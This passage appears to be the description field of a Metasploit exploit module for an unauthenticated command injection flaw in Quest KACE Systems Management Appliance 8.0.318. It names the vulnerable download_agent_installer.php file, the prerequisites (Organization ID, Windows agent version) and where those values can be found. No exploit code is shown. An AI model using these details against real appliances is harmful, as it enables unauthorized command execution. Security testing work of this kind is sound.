      'Description'    => %q{
        This module exploits a command injection vulnerability in Quest KACE
        Systems Management Appliance version 8.0.318 (and possibly prior).

        The `download_agent_installer.php` file allows unauthenticated users
        to execute arbitrary commands as the web server user `www`.

        A valid Organization ID is required. The default value is `1`.

        A valid Windows agent version number must also be provided. If file
        sharing is enabled, the agent versions are available within the
        `\\kace.local\client\agent_provisioning\windows_platform` Samba share.
        Additionally, various agent versions are listed on the KACE website.

        This module has been tested successfully on Quest KACE Systems
        Management Appliance K1000 version 8.0 (Build 8.0.318).
